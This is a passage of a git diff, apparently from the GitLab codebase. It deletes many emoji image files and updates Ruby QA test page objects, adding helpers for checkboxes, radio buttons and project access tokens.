--- a/public/-/emojis/2/woman_teacher_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_teacher_tone4.png b/public/-/emojis/2/woman_teacher_tone4.png
deleted file mode 100644
index 3e12e179a85..00000000000
--- a/public/-/emojis/2/woman_teacher_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_teacher_tone5.png b/public/-/emojis/2/woman_teacher_tone5.png
deleted file mode 100644
index 03394b0d73e..00000000000
--- a/public/-/emojis/2/woman_teacher_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_technologist.png b/public/-/emojis/2/woman_technologist.png
deleted file mode 100644
index 88185b0580f..00000000000
--- a/public/-/emojis/2/woman_technologist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_technologist_tone1.png b/public/-/emojis/2/woman_technologist_tone1.png
deleted file mode 100644
index 12310a37595..00000000000
--- a/public/-/emojis/2/woman_technologist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_technologist_tone2.png b/public/-/emojis/2/woman_technologist_tone2.png
deleted file mode 100644
index c65ed581031..00000000000
--- a/public/-/emojis/2/woman_technologist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_technologist_tone3.png b/public/-/emojis/2/woman_technologist_tone3.png
deleted file mode 100644
index d881d475fd3..00000000000
--- a/public/-/emojis/2/woman_technologist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_technologist_tone4.png b/public/-/emojis/2/woman_technologist_tone4.png
deleted file mode 100644
index f0245f42797..00000000000
--- a/public/-/emojis/2/woman_technologist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_technologist_tone5.png b/public/-/emojis/2/woman_technologist_tone5.png
deleted file mode 100644
index a1ea85e431c..00000000000
--- a/public/-/emojis/2/woman_technologist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tipping_hand.png b/public/-/emojis/2/woman_tipping_hand.png
deleted file mode 100644
index 24325a836e1..00000000000
--- a/public/-/emojis/2/woman_tipping_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tipping_hand_tone1.png b/public/-/emojis/2/woman_tipping_hand_tone1.png
deleted file mode 100644
index 3998cb7b4db..00000000000
--- a/public/-/emojis/2/woman_tipping_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tipping_hand_tone2.png b/public/-/emojis/2/woman_tipping_hand_tone2.png
deleted file mode 100644
index 12ef0ce4c55..00000000000
--- a/public/-/emojis/2/woman_tipping_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tipping_hand_tone3.png b/public/-/emojis/2/woman_tipping_hand_tone3.png
deleted file mode 100644
index 0763e2dec0a..00000000000
--- a/public/-/emojis/2/woman_tipping_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tipping_hand_tone4.png b/public/-/emojis/2/woman_tipping_hand_tone4.png
deleted file mode 100644
index 1bbf48a519f..00000000000
--- a/public/-/emojis/2/woman_tipping_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tipping_hand_tone5.png b/public/-/emojis/2/woman_tipping_hand_tone5.png
deleted file mode 100644
index 5d109647f75..00000000000
--- a/public/-/emojis/2/woman_tipping_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tone1.png b/public/-/emojis/2/woman_tone1.png
deleted file mode 100644
index 614969a5504..00000000000
--- a/public/-/emojis/2/woman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tone2.png b/public/-/emojis/2/woman_tone2.png
deleted file mode 100644
index 2426ea86cc7..00000000000
--- a/public/-/emojis/2/woman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tone3.png b/public/-/emojis/2/woman_tone3.png
deleted file mode 100644
index c7c33901648..00000000000
--- a/public/-/emojis/2/woman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tone4.png b/public/-/emojis/2/woman_tone4.png
deleted file mode 100644
index d2c90cfe05b..00000000000
--- a/public/-/emojis/2/woman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_tone5.png b/public/-/emojis/2/woman_tone5.png
deleted file mode 100644
index 83c4fce82d2..00000000000
--- a/public/-/emojis/2/woman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_vampire.png b/public/-/emojis/2/woman_vampire.png
deleted file mode 100644
index 4a7105c20b1..00000000000
--- a/public/-/emojis/2/woman_vampire.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_vampire_tone1.png b/public/-/emojis/2/woman_vampire_tone1.png
deleted file mode 100644
index 405bec1f070..00000000000
--- a/public/-/emojis/2/woman_vampire_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_vampire_tone2.png b/public/-/emojis/2/woman_vampire_tone2.png
deleted file mode 100644
index dbdfca67e03..00000000000
--- a/public/-/emojis/2/woman_vampire_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_vampire_tone3.png b/public/-/emojis/2/woman_vampire_tone3.png
deleted file mode 100644
index 9f72bd29c2b..00000000000
--- a/public/-/emojis/2/woman_vampire_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_vampire_tone4.png b/public/-/emojis/2/woman_vampire_tone4.png
deleted file mode 100644
index cc8ff737e1e..00000000000
--- a/public/-/emojis/2/woman_vampire_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_vampire_tone5.png b/public/-/emojis/2/woman_vampire_tone5.png
deleted file mode 100644
index ef77ddd7c50..00000000000
--- a/public/-/emojis/2/woman_vampire_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_walking.png b/public/-/emojis/2/woman_walking.png
deleted file mode 100644
index 4643bbf430c..00000000000
--- a/public/-/emojis/2/woman_walking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_walking_tone1.png b/public/-/emojis/2/woman_walking_tone1.png
deleted file mode 100644
index 8fff04c09bb..00000000000
--- a/public/-/emojis/2/woman_walking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_walking_tone2.png b/public/-/emojis/2/woman_walking_tone2.png
deleted file mode 100644
index 36803f35634..00000000000
--- a/public/-/emojis/2/woman_walking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_walking_tone3.png b/public/-/emojis/2/woman_walking_tone3.png
deleted file mode 100644
index 9c013eb8af1..00000000000
--- a/public/-/emojis/2/woman_walking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_walking_tone4.png b/public/-/emojis/2/woman_walking_tone4.png
deleted file mode 100644
index b43309c575e..00000000000
--- a/public/-/emojis/2/woman_walking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_walking_tone5.png b/public/-/emojis/2/woman_walking_tone5.png
deleted file mode 100644
index 5882627b544..00000000000
--- a/public/-/emojis/2/woman_walking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_wearing_turban.png b/public/-/emojis/2/woman_wearing_turban.png
deleted file mode 100644
index c9643d84443..00000000000
--- a/public/-/emojis/2/woman_wearing_turban.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_wearing_turban_tone1.png b/public/-/emojis/2/woman_wearing_turban_tone1.png
deleted file mode 100644
index a11576e22b2..00000000000
--- a/public/-/emojis/2/woman_wearing_turban_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_wearing_turban_tone2.png b/public/-/emojis/2/woman_wearing_turban_tone2.png
deleted file mode 100644
index d55bdfd4647..00000000000
--- a/public/-/emojis/2/woman_wearing_turban_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_wearing_turban_tone3.png b/public/-/emojis/2/woman_wearing_turban_tone3.png
deleted file mode 100644
index b7eed2ce5d7..00000000000
--- a/public/-/emojis/2/woman_wearing_turban_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_wearing_turban_tone4.png b/public/-/emojis/2/woman_wearing_turban_tone4.png
deleted file mode 100644
index 038545e7922..00000000000
--- a/public/-/emojis/2/woman_wearing_turban_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_wearing_turban_tone5.png b/public/-/emojis/2/woman_wearing_turban_tone5.png
deleted file mode 100644
index dfbd5827d08..00000000000
--- a/public/-/emojis/2/woman_wearing_turban_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_white_haired.png b/public/-/emojis/2/woman_white_haired.png
deleted file mode 100644
index 0e29579cf4b..00000000000
--- a/public/-/emojis/2/woman_white_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_white_haired_tone1.png b/public/-/emojis/2/woman_white_haired_tone1.png
deleted file mode 100644
index f06ae198eb1..00000000000
--- a/public/-/emojis/2/woman_white_haired_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_white_haired_tone2.png b/public/-/emojis/2/woman_white_haired_tone2.png
deleted file mode 100644
index 8ff14db35ec..00000000000
--- a/public/-/emojis/2/woman_white_haired_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_white_haired_tone3.png b/public/-/emojis/2/woman_white_haired_tone3.png
deleted file mode 100644
index 804ea7a84ae..00000000000
--- a/public/-/emojis/2/woman_white_haired_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_white_haired_tone4.png b/public/-/emojis/2/woman_white_haired_tone4.png
deleted file mode 100644
index bec13f9dfb2..00000000000
--- a/public/-/emojis/2/woman_white_haired_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_white_haired_tone5.png b/public/-/emojis/2/woman_white_haired_tone5.png
deleted file mode 100644
index 4e1053a26d9..00000000000
--- a/public/-/emojis/2/woman_white_haired_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_with_headscarf.png b/public/-/emojis/2/woman_with_headscarf.png
deleted file mode 100644
index c9fe1d0a147..00000000000
--- a/public/-/emojis/2/woman_with_headscarf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_with_headscarf_tone1.png b/public/-/emojis/2/woman_with_headscarf_tone1.png
deleted file mode 100644
index c0fa899f824..00000000000
--- a/public/-/emojis/2/woman_with_headscarf_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_with_headscarf_tone2.png b/public/-/emojis/2/woman_with_headscarf_tone2.png
deleted file mode 100644
index a53e6311ca0..00000000000
--- a/public/-/emojis/2/woman_with_headscarf_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_with_headscarf_tone3.png b/public/-/emojis/2/woman_with_headscarf_tone3.png
deleted file mode 100644
index ed098a8e0de..00000000000
--- a/public/-/emojis/2/woman_with_headscarf_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_with_headscarf_tone4.png b/public/-/emojis/2/woman_with_headscarf_tone4.png
deleted file mode 100644
index 8a58a6c5fec..00000000000
--- a/public/-/emojis/2/woman_with_headscarf_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_with_headscarf_tone5.png b/public/-/emojis/2/woman_with_headscarf_tone5.png
deleted file mode 100644
index 7b233d03947..00000000000
--- a/public/-/emojis/2/woman_with_headscarf_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_zombie.png b/public/-/emojis/2/woman_zombie.png
deleted file mode 100644
index d4b4e0b98e8..00000000000
--- a/public/-/emojis/2/woman_zombie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/womans_clothes.png b/public/-/emojis/2/womans_clothes.png
deleted file mode 100644
index 5dd9fe80e9c..00000000000
--- a/public/-/emojis/2/womans_clothes.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/womans_flat_shoe.png b/public/-/emojis/2/womans_flat_shoe.png
deleted file mode 100644
index 19e97961879..00000000000
--- a/public/-/emojis/2/womans_flat_shoe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/womans_hat.png b/public/-/emojis/2/womans_hat.png
deleted file mode 100644
index 481eb0e5293..00000000000
--- a/public/-/emojis/2/womans_hat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/women_with_bunny_ears_partying.png b/public/-/emojis/2/women_with_bunny_ears_partying.png
deleted file mode 100644
index 21f1b86a760..00000000000
--- a/public/-/emojis/2/women_with_bunny_ears_partying.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/women_wrestling.png b/public/-/emojis/2/women_wrestling.png
deleted file mode 100644
index 8982aaed476..00000000000
--- a/public/-/emojis/2/women_wrestling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/womens.png b/public/-/emojis/2/womens.png
deleted file mode 100644
index f4f3bcab133..00000000000
--- a/public/-/emojis/2/womens.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woozy_face.png b/public/-/emojis/2/woozy_face.png
deleted file mode 100644
index 7beb163c043..00000000000
--- a/public/-/emojis/2/woozy_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/worried.png b/public/-/emojis/2/worried.png
deleted file mode 100644
index 6ad23f893a3..00000000000
--- a/public/-/emojis/2/worried.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wrench.png b/public/-/emojis/2/wrench.png
deleted file mode 100644
index 2a6e007d49e..00000000000
--- a/public/-/emojis/2/wrench.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/wrestlers.png b/public/-/emojis/2/wrestlers.png
deleted file mode 100644
index 2b9ef81875d..00000000000
--- a/public/-/emojis/2/wrestlers.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/writing_hand.png b/public/-/emojis/2/writing_hand.png
deleted file mode 100644
index c151f525569..00000000000
--- a/public/-/emojis/2/writing_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/writing_hand_tone1.png b/public/-/emojis/2/writing_hand_tone1.png
deleted file mode 100644
index 781f6fc385e..00000000000
--- a/public/-/emojis/2/writing_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/writing_hand_tone2.png b/public/-/emojis/2/writing_hand_tone2.png
deleted file mode 100644
index 5f48fb75045..00000000000
--- a/public/-/emojis/2/writing_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/writing_hand_tone3.png b/public/-/emojis/2/writing_hand_tone3.png
deleted file mode 100644
index 4be643c3b60..00000000000
--- a/public/-/emojis/2/writing_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/writing_hand_tone4.png b/public/-/emojis/2/writing_hand_tone4.png
deleted file mode 100644
index f79180da471..00000000000
--- a/public/-/emojis/2/writing_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/writing_hand_tone5.png b/public/-/emojis/2/writing_hand_tone5.png
deleted file mode 100644
index dc068bfe5e2..00000000000
--- a/public/-/emojis/2/writing_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/x.png b/public/-/emojis/2/x.png
deleted file mode 100644
index 4af7efd7db7..00000000000
--- a/public/-/emojis/2/x.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/yarn.png b/public/-/emojis/2/yarn.png
deleted file mode 100644
index 417c81b7c57..00000000000
--- a/public/-/emojis/2/yarn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/yellow_heart.png b/public/-/emojis/2/yellow_heart.png
deleted file mode 100644
index 623103a7335..00000000000
--- a/public/-/emojis/2/yellow_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/yen.png b/public/-/emojis/2/yen.png
deleted file mode 100644
index b570578bfb5..00000000000
--- a/public/-/emojis/2/yen.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/yin_yang.png b/public/-/emojis/2/yin_yang.png
deleted file mode 100644
index 7a706a46824..00000000000
--- a/public/-/emojis/2/yin_yang.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/yum.png b/public/-/emojis/2/yum.png
deleted file mode 100644
index adcc565c3ab..00000000000
--- a/public/-/emojis/2/yum.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zany_face.png b/public/-/emojis/2/zany_face.png
deleted file mode 100644
index 153c5cc7b3a..00000000000
--- a/public/-/emojis/2/zany_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zap.png b/public/-/emojis/2/zap.png
deleted file mode 100644
index 46cd436a071..00000000000
--- a/public/-/emojis/2/zap.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zebra.png b/public/-/emojis/2/zebra.png
deleted file mode 100644
index 6919be6afdd..00000000000
--- a/public/-/emojis/2/zebra.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zero.png b/public/-/emojis/2/zero.png
deleted file mode 100644
index e0ef851482e..00000000000
--- a/public/-/emojis/2/zero.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zipper_mouth.png b/public/-/emojis/2/zipper_mouth.png
deleted file mode 100644
index be0054f744e..00000000000
--- a/public/-/emojis/2/zipper_mouth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zombie.png b/public/-/emojis/2/zombie.png
deleted file mode 100644
index d4b4e0b98e8..00000000000
--- a/public/-/emojis/2/zombie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/zzz.png b/public/-/emojis/2/zzz.png
deleted file mode 100644
index ff8b3766ef2..00000000000
--- a/public/-/emojis/2/zzz.png
+++ /dev/null
Binary files differ
diff --git a/qa/qa.rb b/qa/qa.rb
index 2ac199c9d26..8986bf658f5 100644
--- a/qa/qa.rb
+++ b/qa/qa.rb
@@ -80,6 +80,7 @@ module QA
autoload :CiVariable, 'qa/resource/ci_variable'
autoload :Runner, 'qa/resource/runner'
autoload :PersonalAccessToken, 'qa/resource/personal_access_token'
+ autoload :ProjectAccessToken, 'qa/resource/project_access_token'
autoload :User, 'qa/resource/user'
autoload :ProjectMilestone, 'qa/resource/project_milestone'
autoload :GroupMilestone, 'qa/resource/group_milestone'
@@ -96,6 +97,8 @@ module QA
autoload :ProjectSnippet, 'qa/resource/project_snippet'
autoload :Design, 'qa/resource/design'
autoload :RegistryRepository, 'qa/resource/registry_repository'
+ autoload :Package, 'qa/resource/package'
+ autoload :PipelineSchedules, 'qa/resource/pipeline_schedules'
module KubernetesCluster
autoload :Base, 'qa/resource/kubernetes_cluster/base'
@@ -317,6 +320,7 @@ module QA
autoload :MirroringRepositories, 'qa/page/project/settings/mirroring_repositories'
autoload :ProtectedTags, 'qa/page/project/settings/protected_tags'
autoload :VisibilityFeaturesPermissions, 'qa/page/project/settings/visibility_features_permissions'
+ autoload :AccessTokens, 'qa/page/project/settings/access_tokens'
module Services
autoload :Jira, 'qa/page/project/settings/services/jira'
@@ -499,6 +503,8 @@ module QA
autoload :Wiki, 'qa/page/component/wiki'
autoload :WikiSidebar, 'qa/page/component/wiki_sidebar'
autoload :WikiPageForm, 'qa/page/component/wiki_page_form'
+ autoload :AccessTokens, 'qa/page/component/access_tokens'
+ autoload :CommitModal, 'qa/page/component/commit_modal'
module Issuable
autoload :Common, 'qa/page/component/issuable/common'
@@ -576,7 +582,9 @@ module QA
autoload :LoopRunner, 'qa/specs/loop_runner'
module Helpers
+ autoload :ContextSelector, 'qa/specs/helpers/context_selector'
autoload :Quarantine, 'qa/specs/helpers/quarantine'
+ autoload :RSpec, 'qa/specs/helpers/rspec'
end
end
diff --git a/qa/qa/flow/saml.rb b/qa/qa/flow/saml.rb
index e8007978071..c414d648198 100644
--- a/qa/qa/flow/saml.rb
+++ b/qa/qa/flow/saml.rb
@@ -53,12 +53,10 @@ module QA
end
def run_saml_idp_service(group_name)
- service = Service::DockerRun::SamlIdp.new(Runtime::Scenario.gitlab_address, group_name).tap do |runner|
+ Service::DockerRun::SamlIdp.new(Runtime::Scenario.gitlab_address, group_name).tap do |runner|
runner.pull
runner.register!
end
-
- service
end
def remove_saml_idp_service(saml_idp_service)
diff --git a/qa/qa/page/admin/settings/component/sign_up_restrictions.rb b/qa/qa/page/admin/settings/component/sign_up_restrictions.rb
index 9909155641f..8b0d420d00a 100644
--- a/qa/qa/page/admin/settings/component/sign_up_restrictions.rb
+++ b/qa/qa/page/admin/settings/component/sign_up_restrictions.rb
@@ -6,19 +6,19 @@ module QA
module Settings
module Component
class SignUpRestrictions < Page::Base
- view 'app/views/admin/application_settings/_signup.html.haml' do
+ view 'app/assets/javascripts/pages/admin/application_settings/general/components/signup_form.vue' do
element :require_admin_approval_after_user_signup_checkbox
element :signup_enabled_checkbox
element :save_changes_button
end
def require_admin_approval_after_user_signup
- check_element(:require_admin_approval_after_user_signup_checkbox)
+ click_element_coordinates(:require_admin_approval_after_user_signup_checkbox, visible: false)
click_element(:save_changes_button)
end
def disable_signups
- uncheck_element(:signup_enabled_checkbox)
+ click_element_coordinates(:signup_enabled_checkbox, visible: false)
click_element(:save_changes_button)
end
end
diff --git a/qa/qa/page/base.rb b/qa/qa/page/base.rb
index d1b556b58fb..289094268b6 100644
--- a/qa/qa/page/base.rb
+++ b/qa/qa/page/base.rb
@@ -132,7 +132,7 @@ module QA
all(element_selector_css(name), **kwargs)
end
- def check_element(name)
+ def check_element(name, click_by_js = false)
if find_element(name, visible: false).checked?
QA::Runtime::Logger.debug("#{name} is already checked")
@@ -140,7 +140,7 @@ module QA
end
retry_until(sleep_interval: 1) do
- find_element(name, visible: false).click
+ click_checkbox_or_radio(name, click_by_js)
checked = find_element(name, visible: false).checked?
QA::Runtime::Logger.debug(checked ? "#{name} was checked" : "#{name} was not checked")
@@ -149,7 +149,7 @@ module QA
end
end
- def uncheck_element(name)
+ def uncheck_element(name, click_by_js = false)
unless find_element(name, visible: false).checked?
QA::Runtime::Logger.debug("#{name} is already unchecked")
@@ -157,7 +157,7 @@ module QA
end
retry_until(sleep_interval: 1) do
- find_element(name, visible: false).click
+ click_checkbox_or_radio(name, click_by_js)
unchecked = !find_element(name, visible: false).checked?
QA::Runtime::Logger.debug(unchecked ? "#{name} was unchecked" : "#{name} was not unchecked")
@@ -166,13 +166,31 @@ module QA
end
end
+ # Method for selecting radios
+ def choose_element(name, click_by_js = false)
+ if find_element(name, visible: false).checked?
+ QA::Runtime::Logger.debug("#{name} is already selected")
+
+ return
+ end
+
+ retry_until(sleep_interval: 1) do
+ click_checkbox_or_radio(name, click_by_js)
+ selected = find_element(name, visible: false).checked?
+
+ QA::Runtime::Logger.debug(selected ? "#{name} was selected" : "#{name} was not selected")
+
+ selected
+ end
+ end
+
# Use this to simulate moving the pointer to an element's coordinate
# and sending a click event.
# This is a helpful workaround when there is a transparent element overlapping
# the target element and so, normal `click_element` on target would raise
# Selenium::WebDriver::Error::ElementClickInterceptedError
- def click_element_coordinates(name)
- page.driver.browser.action.move_to(find_element(name).native).click.perform
+ def click_element_coordinates(name, **kwargs)
+ page.driver.browser.action.move_to(find_element(name, **kwargs).native).click.perform
end
# replace with (..., page = self.class)
@@ -403,6 +421,14 @@ module QA
end
end
end
+
+ private
+
+ def click_checkbox_or_radio(name, click_by_js)
+ box = find_element(name, visible: false)
+ # Some checkboxes and radio buttons are hidden by their labels and cannot be clicked directly
+ click_by_js ? page.execute_script("arguments[0].click();", box) : box.click
+ end
end
end
end
diff --git a/qa/qa/page/component/access_tokens.rb b/qa/qa/page/component/access_tokens.rb
new file mode 100644
index 00000000000..d8e3d12b38b
--- /dev/null
+++ b/qa/qa/page/component/access_tokens.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Component
+ module AccessTokens
+ extend QA::Page::PageConcern
+
+ def self.included(base)
+ super
+
+ base.view 'app/assets/javascripts/access_tokens/components/expires_at_field.vue' do
+ element :expiry_date_field
+ end
+
+ base.view 'app/views/shared/access_tokens/_form.html.haml' do
+ element :access_token_name_field
+ element :create_token_button
+ end
+
+ base.view 'app/views/shared/tokens/_scopes_form.html.haml' do
+ element :api_radio, 'qa-#{scope}-radio' # rubocop:disable QA/ElementWithPattern, Lint/InterpolationCheck
+ end
+
+ base.view 'app/views/shared/access_tokens/_created_container.html.haml' do
+ element :created_access_token
+ end
+
+ base.view 'app/views/shared/access_tokens/_table.html.haml' do
+ element :revoke_button
+ end
+ end
+
+ def fill_token_name(name)
+ fill_element(:access_token_name_field, name)
+ end
+
+ def check_api
+ check_element(:api_radio)
+ end
+
+ def click_create_token_button
+ click_element(:create_token_button)
+ end
+
+ def created_access_token
+ find_element(:created_access_token, wait: 30).value
+ end
+
+ def fill_expiry_date(date)
+ date = date.to_s if date.is_a?(Date)
+ Date.strptime(date, '%Y-%m-%d') rescue ArgumentError raise "Expiry date must be in YYYY-MM-DD format"
+
+ fill_element(:expiry_date_field, date)
+ end
+
+ def has_token_row_for_name?(token_name)
+ page.has_css?('tr', text: token_name, wait: 1.0)
+ end
+
+ def first_token_row_for_name(token_name)
+ page.find('tr', text: token_name, match: :first, wait: 1.0)
+ end
+
+ def revoke_first_token_with_name(token_name)
+ within first_token_row_for_name(token_name) do
+ accept_confirm do
+ click_element(:revoke_button)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/component/commit_modal.rb b/qa/qa/page/component/commit_modal.rb
new file mode 100644
index 00000000000..7192e8bafb5
--- /dev/null
+++ b/qa/qa/page/component/commit_modal.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Component
+ class CommitModal < Page::Base
+ view 'app/assets/javascripts/projects/commit/components/form_modal.vue' do
+ element :submit_commit_button, required: true
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/component/invite_members_modal.rb b/qa/qa/page/component/invite_members_modal.rb
index fbddb37f15e..9883ef22029 100644
--- a/qa/qa/page/component/invite_members_modal.rb
+++ b/qa/qa/page/component/invite_members_modal.rb
@@ -42,7 +42,7 @@ module QA
within_element(:invite_members_modal_content) do
fill_element :access_level_dropdown, with: access_level
- fill_in 'Search for members to invite', with: username
+ fill_in 'Select members or type email addresses', with: username
Support::WaitForRequests.wait_for_requests
diff --git a/qa/qa/page/component/issue_board/show.rb b/qa/qa/page/component/issue_board/show.rb
index d7dfb0757bc..dbf4dc30116 100644
--- a/qa/qa/page/component/issue_board/show.rb
+++ b/qa/qa/page/component/issue_board/show.rb
@@ -11,6 +11,7 @@ module QA
view 'app/assets/javascripts/boards/components/board_form.vue' do
element :board_name_field
+ element :save_changes_button
end
view 'app/assets/javascripts/boards/components/board_list.vue' do
@@ -23,10 +24,6 @@ module QA
element :create_new_board_button
end
- view 'app/assets/javascripts/vue_shared/components/deprecated_modal.vue' do
- element :save_changes_button
- end
-
view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue' do
element :labels_dropdown_content
end
@@ -35,7 +32,7 @@ module QA
element :labels_edit_button
end
- view 'app/views/shared/boards/_show.html.haml' do
+ view 'app/assets/javascripts/boards/components/board_content.vue' do
element :boards_list
end
diff --git a/qa/qa/page/component/snippet.rb b/qa/qa/page/component/snippet.rb
index b98c429df8c..73f41e0aa51 100644
--- a/qa/qa/page/component/snippet.rb
+++ b/qa/qa/page/component/snippet.rb
@@ -25,10 +25,6 @@ module QA
element :file_title_content
end
- base.view 'app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue' do
- element :file_content
- end
-
base.view 'app/assets/javascripts/blob/components/blob_content.vue' do
element :file_content
end
diff --git a/qa/qa/page/component/wiki_page_form.rb b/qa/qa/page/component/wiki_page_form.rb
index e24b1b67af1..bb22b7da003 100644
--- a/qa/qa/page/component/wiki_page_form.rb
+++ b/qa/qa/page/component/wiki_page_form.rb
@@ -9,12 +9,11 @@ module QA
def self.included(base)
super
- base.view 'app/views/shared/wikis/_form.html.haml' do
+ base.view 'app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue' do
element :wiki_title_textbox
element :wiki_content_textarea
element :wiki_message_textbox
- element :save_changes_button
- element :create_page_button
+ element :wiki_submit_button
end
base.view 'app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue' do
@@ -34,12 +33,8 @@ module QA
fill_element(:wiki_message_textbox, message)
end
- def click_save_changes
- click_element(:save_changes_button)
- end
-
- def click_create_page
- click_element(:create_page_button)
+ def click_submit
+ click_element(:wiki_submit_button)
end
def delete_page
diff --git a/qa/qa/page/dashboard/snippet/index.rb b/qa/qa/page/dashboard/snippet/index.rb
index 1f467fda9e1..8c4abfdf606 100644
--- a/qa/qa/page/dashboard/snippet/index.rb
+++ b/qa/qa/page/dashboard/snippet/index.rb
@@ -5,7 +5,7 @@ module QA
module Dashboard
module Snippet
class Index < Page::Base
- view 'app/views/layouts/header/_new_dropdown.haml' do
+ view 'app/views/layouts/header/_new_dropdown.html.haml' do
element :new_menu_toggle
element :global_new_snippet_link
end
diff --git a/qa/qa/page/group/settings/general.rb b/qa/qa/page/group/settings/general.rb
index ced8bd5c812..1ab849d10b1 100644
--- a/qa/qa/page/group/settings/general.rb
+++ b/qa/qa/page/group/settings/general.rb
